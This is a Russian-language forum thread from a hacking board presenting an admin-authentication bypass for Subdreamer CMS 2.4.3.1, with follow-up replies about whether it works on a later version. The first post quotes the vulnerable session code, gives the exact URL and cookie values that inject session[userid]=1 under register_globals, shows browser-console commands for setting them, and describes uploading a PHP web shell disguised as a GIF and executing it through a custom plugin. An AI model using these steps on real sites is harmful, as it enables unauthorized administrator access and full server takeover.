Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Subdreamer CMS Admin Bypass (https://forum.antichat.xyz/showthread.php?t=76236)

Евгений Минаев 06.07.2008 19:05

Subdreamer CMS Admin Bypass
 
Определение, является ли зашедший юзер админом происходит в файле admin/authenticate.php, для этого берется сессия и получаются такие важные параметры из базы, как например права админа.

Получение сессии
PHP код:

if(!empty($_POST['s']))
  {
    
$sessionid $_POST['s'];
  }
  else if(!empty(
$_GET['s']))
  {
    
$sessionid $_GET['s'];
  }
  else
  {
    
$sessionid = isset($_COOKIE[COOKIE_PREFIX 'sessionid']) ? $_COOKIE[COOKIE_PREFIX 'sessionid'] : '';
  } 

Выборка информации о пользователе

PHP код:

if(!empty($sessionid))
  {
    
$sql "SELECT * FROM " TABLE_PREFIX "sessions
                               WHERE sessionid    = '
$sessionid'
                               AND   ipaddress    = '" 
USERIP "'
                               AND   lastactivity > " 
. (TIMENOW $mainsettings['admincookietimeout']) . "
                               AND   useragent    = '" 
addslashes(USERAGENT) . "'
                               AND   admin = 1
                               LIMIT 1"
;

    
$session $DB->query_first($sql);
  } 

Если включены register_globals, мы можем сами определить значения массива $sessions, которая по коду должна получаться в $sessionid. Для этого в cookies глянем идентификатор нашей сессии и сделаем запрос вида, где session[sessionid] наша сессия и session[userid] номер пользователя с администраторскими правами в базе, по дефолту 1.

Цитата:

http://localhost/upload/admin/index.php?session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f&session[userid]=1
Зайдя по сгенерированной ссылке мы на пару мгновений увидим администраторскую панель, затем нас обламают . Суть в том, что файл проверки инклюдится в каждый файл панели, те нам надо каждый раз его обманывать.

Цитата:

Cookies: session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1
>>> document.cookie='session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1';
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f"
>>> document.cookie='session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1';
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f"
>>> document.cookie='session[userid]=1';
"session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1"
То есть чтобы зайти в админ панель, достаточно даже гостевых прав. Сама админка распологает средствами бекапа баз данных. Шелл заливается через смайлы с любым расширенем картинки, затем просто переименовывается в .php. Так-то!

UPDATE: шелл заливается так - заливается gif картинка с шеллом, затем создается custom plugin и в поле Include File вписываем имя нашего залитого файла, например images/sh.php.gif. Затем идем в All Categories, выбираем любую и добавляем наш плагин к ней (Change Plugins). С заходом на отредактированную страницу увидем наш шелл


Jokester 06.07.2008 21:35

Ты бы версию написал что-ли :)
Пробовал на Subdreamer v2.5.3.2 Pro на локалхосте не вышло!

При авторизации из админки у тебя создаётся ещё одна сессия , в куках одна гостевая , и одна админская с разными идентификаторами.
Думаю потом аутентификация идёт по админской сессии.Никакого userid в куках нет.

При авторизации с индекса сессия остаётся та-же,в куках фигурирует userid, но после входа в куках 3 параметра сессия,userid и хеш пароля.Аутентификация видимо по хешу.Код пока не смотрел ,но твой запрос и сдесь не проходит :(.При переходе в админпанель-повторная авторизация.

Скорее всего поправили багу, или я что-то не понял.
Пойду смотреть код

Евгений Минаев 06.07.2008 22:54

Если бы ты читал внимательней, то наверное понял меня лучше. О userid в куках я не говорил. Если ты об этом, то это просто способ определения глобальной переменной
Цитата:

Cookies: session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1
Также, если ты обратишь внимание на код, то никаких админских сессий нет.

Цитата:

Component Your Version Latest Version
Subdreamer CMS 2.4.3.1 2.4.3.1
Цитата:

При переходе в админпанель-повторная авторизация.
Надо верно выставить куки. На все твои вопросы я уже ответил в первом посте, надо читать внимательно, а не между строк. Единственное - с версией промахнулся, качал с торрентов.

Видео демонстрация http://underwater.itdefence.ru/subdreamer.rar

Jokester 07.07.2008 02:14

Я читал внимательно,понял тебя и не спорю с тобой.

За видео спасибо, очень интересно.

Специально скачал версию 2.4.3.1, всё работает,НО в версии 2.5.3.2 не пашет!!!

Сейчас в разбираться времени нет, но файл authenticate.php переписан это точно
Если желание есть посмотреть самому ,могу залить куда нибудь версию 2.5.3.2


Время: 00:14